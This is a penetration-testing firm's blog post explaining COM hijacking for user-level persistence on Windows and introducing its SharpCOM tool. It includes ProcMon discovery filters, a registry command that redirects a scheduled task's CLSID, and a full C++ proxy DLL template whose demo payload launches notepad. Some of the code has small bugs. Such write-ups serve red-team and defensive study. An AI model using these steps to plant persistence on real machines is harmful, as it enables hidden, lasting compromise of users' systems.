Skip to main content
Technical

COM Hijacking and Proxying

Would you like to learn more?

Download our Pentest Sourcing Guide to learn everything you need to know to successfully plan, scope, and execute your penetration testing projects.

By Joseph Yim, Offensive Security R&D Lead

While there seems to be many tools available for identifying COM hijacks, I did not see many public tools to quickly configure and deploy COM hijacking from a C2, which could be useful during engagements. SharpCOM was created to be able to quickly deploy COM hijacking on Windows targets during post-compromise for low- privileged user persistence.

This blog aims to outline how COM hijacking works, the discovery process, and PoC for SharpCOM.

COM Hijacking Overview

COM Hijacking is the process of modifying registry queries for COM object loading by native applications in Windows. COM (Component Object Model), which is implemented by OLE32.DLL in Windows, is used to provide a language-agnostic interface for handling method invocation for libraries written in different languages.

For example, a DLL written in C would be able to invoke a C# .NET method through loading a COM object. COM hijacking is not new and was first discovered in 2011 by Jon Larimer.

The local or in-process COM object loading process is illustrated as:

  • An application using COM initializes the COM library by calling CoInitialize(), which is implemented in OLE32.dll

  • When the application needs to invoke a method through COM, it calls CoCreateInstance() to create an instance of a COM object by first locating a COM server with a given CLSID. 

  • The Service Control Manager (SCM) handles searching through the Windows OS to locate the proper COM server. SCM calls the COM_OpenKeyForCLSID() function with a CLSID string, which queries the Windows registry.

  • The Windows registry hive is referenced through the virtual registry HKCR, which defaults to searching the HKCU registry in the HKCU\SOFTWARE\Classes\CLSID\ path for the correct COM server DLL. By default, COM servers are defined in HKLM to avoid modification by unprivileged users for a UAC bypass, so no COM servers will be found in HKCU. The exact SubKey will vary depending on type of COM object being invoked.

  • The HKCR reference by COM_OpenKeyForCLSID() will then search in HKLM with the HKLM\SOFTWARE\Classes\CLSID\ path for the correct COM server DLL, where it’s path is returned

  • OLE32.dll then calls LoadLibraryEx() to load the COM server DLL, then DllGetClassObject() retrieve a pointer to the class object for the COM handler. Eventually the proper COM object is instantiated and access to the COM interface is granted to the COM client for method invocation.

COM hijacking works by modifying the HKCU registry to point to an attacker-controlled COM server DLL, which gets loaded instead of the correct COM server DLL defined in HKLM. What makes this useful for persistence, is, that by default, no administrative privileges are required on Windows to modify the HKCU registry, as the HKCU registry is meant to reflect user settings. Once the attacker-controlled DLL is loaded through LoadLibraryEx(), then DllGetClassObject() is called first. If we export the DllGetClassObject() in our COM server DLL, then it is possible to execute arbitrary code for user-level persistence once the event-based COM object is successfully loaded. 

COM hijacking works through 2 main steps:

  • Find a suitable COM object to target to hijack

  • Modify the HKCU registry to point to an attacker-controlled COM server DLL

  • Create a COM server DLL which will execute under event-based COM object loading

  • Place COM server DLL on target host

Finding COM Objects to Hijack

Locating COM objects to hijack can be done through many publicly available tools published by other researchers. For a more manual method, I chose to use ProcMon. From ProcMon, apply the following filters on a target Windows system:

  • Path contains “HKLM”

  • Path contains “InProcServer32”

  • Result contains “NAME NOT FOUND”

Persistence with COM comes with the basis that COM is event-driven. This means it is ideal to target certain applications or Windows services which will execute upon an action performed by a user, to regain some form of code execution. One event-based trigger I found which was useful was COM objects tied to scheduled tasks through a COM Handler. The target COM object trigger was tied to the “Work Folders Logon Synchronization” task.

Looking into the CLSID of the COM object, it appears to only be  implemented in HKLM within the Windows registry and not in HKCU, resulting in the NAME NOT FOUND error during the COM object loading process for the InprocServer32 SubKey:

C:\Users\>reg query "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32"

ERROR: The system was unable to find the specified registry key or value.

C:\Users\>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32

    (Default)    REG_SZ    C:\Windows\System32\WorkFoldersShell.dll

Modify the HKCU Registry for a Target COM Object

To modify the HKCU registry, reg can be used to make the HKCU registry point to an arbitrary COM server DLL, which we will later create and drop on the system.

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32" /v "" /t REG_SZ /d "C:\Users\lowpriv2\Desktop\serv\WorkFolderShell.dll" /f

As a low-privileged user, no admin permissions are required to make modifications to the HKCU registry.

Creating a COM Server DLL

The InprocServer32 SubKey implies that the underlying COM CLSID for the Work Folders Logon Synchronization task is an in-process COM server and should be implemented as a DLL. The COM object load process also states that DllGetClassObject() must be implemented, and is called first upon COM object load.

Since DllGetClassObject() is exported in the DLL and is executed upon COM object load, this would be an ideal location to execute arbitrary code, which can be re-execution of a C2 beacon, shellcode, or any other form of host-based persistence. For PoC purposes, I will implement a call to OpenProcess() for notepad.exe:

#include "pch.h"

#include "combaseapi.h"

#include "windows.h"

/*

COM Hijacking DLL template

*/

// Export functions

#pragma comment(linker, "/export:DllGetClassObject" )

typedef HRESULT(WINAPI* type_DllGetClassObj)(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv);

type_DllGetClassObj ptr_DllGetClassObj;

HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {

    

    STARTUPINFO info = { sizeof(info) };

    PROCESS_INFORMATION processInfo;

    CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL,   &info, &processInfo);

    return S_OK;

}

BOOL APIENTRY DllMain( HMODULE hModule,

                       DWORD  ul_reason_for_call,

                       LPVOID lpReserved

                     )

{

    switch (ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:

        break;

    case DLL_THREAD_ATTACH:

        break;

    case DLL_THREAD_DETACH:

        break;

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}

Another useful export function to add for COM object hijacking is the DllCanUnloadNow() function. While the COM object loading process does not “require” this function, an empty implementation of it can prevent error messages from showing up once the scheduled task completes and unloads the COM server DLL.

#include "pch.h"

#include "combaseapi.h"

#include "windows.h"

/*

COM Hijacking DLL template

*/

// Export functions

#pragma comment(linker, "/export:DllGetClassObject" )

#pragma comment(linker, "/export:DllCanUnloadNow" )

// -- trim –

HRESULT DllCanUnloadNow(void) {

   return S_OK;

}

// -- trim --

COM proxying can be added by loading the original COM server DLL, and passing any calls made to the implant COM server DLL towards the original COM server DLL. This can be implemented with GetProcAddress() and specifying a path towards the original COM server DLL.

#include "pch.h"

#include "combaseapi.h"

#include "windows.h"

/*

COM Hijacking DLL template

*/

// -- trim –

HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {

    

    STARTUPINFO info = { sizeof(info) };

    PROCESS_INFORMATION processInfo;

    CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL,   &info, &processInfo);

        // Proxy path definition

    char * proxyPath = "C:\\Windows\\System32\\WorkFoldersShell.dll";

    char* comFunction = "DllGetClassObject";

    // Proxy export functions to original WorkFoldersShell.dll

    HMODULE proxyDLL;

    proxyDLL = LoadLibrary((LPCWSTR)proxyPath);

    ptr_DllGetClassObj = (type_DllGetClassObj)GetProcAddress(proxyDLL, comFunction);

    if (!ptr_DllGetClassObj) {

        return FALSE;

    };

    HRESULT hResult = ptr_DllGetClassObj(rclsid, riid, ppv);

    return hResult;

}

// -- trim –

The final template will be:

#include "pch.h"

#include "combaseapi.h"

#include "windows.h"

/*

COM Hijacking DLL template

*/

// Export functions

#pragma comment(linker, "/export:DllGetClassObject" )

#pragma comment(linker, "/export:DllCanUnloadNow" )

typedef HRESULT(WINAPI* type_DllGetClassObj)(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv);

type_DllGetClassObj ptr_DllGetClassObj;

HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {

    STARTUPINFO info = { sizeof(info) };

    PROCESS_INFORMATION processInfo;

    CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL,   &info, &processInfo);

    // Proxy path definition

    char * proxyPath = "C:\\Windows\\System32\\WorkFoldersShell.dll";

    char* comFunction = "DllGetClassObject";

    // Proxy export functions to original WorkFoldersShell.dll

    HMODULE proxyDLL;

    proxyDLL = LoadLibrary((LPCWSTR)proxyPath);

    ptr_DllGetClassObj = (type_DllGetClassObj)GetProcAddress(proxyDLL, comFunction);

    if (!ptr_DllGetClassObj) {

        return FALSE;

    };

    HRESULT hResult = ptr_DllGetClassObj(rclsid, riid, ppv);

    return hResult;

}

HRESULT DllCanUnloadNow(void) {

   return S_OK;

}

BOOL APIENTRY DllMain( HMODULE hModule,

                       DWORD  ul_reason_for_call,

                       LPVOID lpReserved

                     )

{

    switch (ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:

        break;

    case DLL_THREAD_ATTACH:

        break;

    case DLL_THREAD_DETACH:

        break;

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}

Place COM Server DLL on Target Host

Compile the DLL and place it in the target system. Given the previous registry change, I opted to place it in C:\Users\lowpriv2\Desktop\serv\WorkFolderShell.dll. This sample COM hijacking will be shown from the standpoint of a compromised low-privilege, lowpriv2, logging into a workstation

Additionally, I modified the Work Folders Logon Synchronization scheduled task to execute within 30 seconds instead of 5 minutes to make the video demo shorter. Once the lowpriv2 user logs in, notepad.exe is successfully executed.

Conclusion: Your SharpCOM Demo

SharpCOM automates the entire COM hijacking process above but only targets pre-defined COM objects. Currently I have defined 1 CLSID to work with SharpCOM with plans to add more:

  • Work Folders Logon Synchronization: {97D47D56-3777-49FB-8E8F-90D7E30E1A1E}

SharpCOM is compiled in .NET 4.0 and is compatible with .NET reflection and sharp-inline assembly execution methods. SharpCOM has been tested with the Bruteratel C2 v2.1.2 framework. At the time of writing, this tool has been successfully tested against:

  • Windows 10.0.22621 Build 22621

  • Microsoft Windows Server 2025 Datacenter

Across different Windows versions, sometimes COM object CLSIDS persist, meaning the same type of hijack can be performed on different Windows hosts provided the same CLSID exists.

For guidance on using SharpCOM, the tool is provided on our GitHub repository.

Contact Us

Speak with an Account Executive

Interested in Pentesting?

Penetration Testing Methodology Cover
Penetration Testing Methodology

Our Penetration Security Testing methodology is derived from the SANS Pentest Methodology, the MITRE ATT&CK framework, and the NIST SP800-115 to uncover security gaps.

Download Methodology
Pentest Sourcing Guide thumbnail
Pentest Sourcing Guide

Download our Pentest Sourcing Guide to learn everything you need to know to successfully plan, scope, and execute your penetration testing projects.

Download Guide
Packetlabs Company Logo
    • Toronto | HQ
    • 401 Bay Street, Suite 1600
    • Toronto, Ontario, Canada
    • M5H 2Y4
    • San Francisco | HQ
    • 580 California Street, 12th floor
    • San Francisco, CA, USA
    • 94104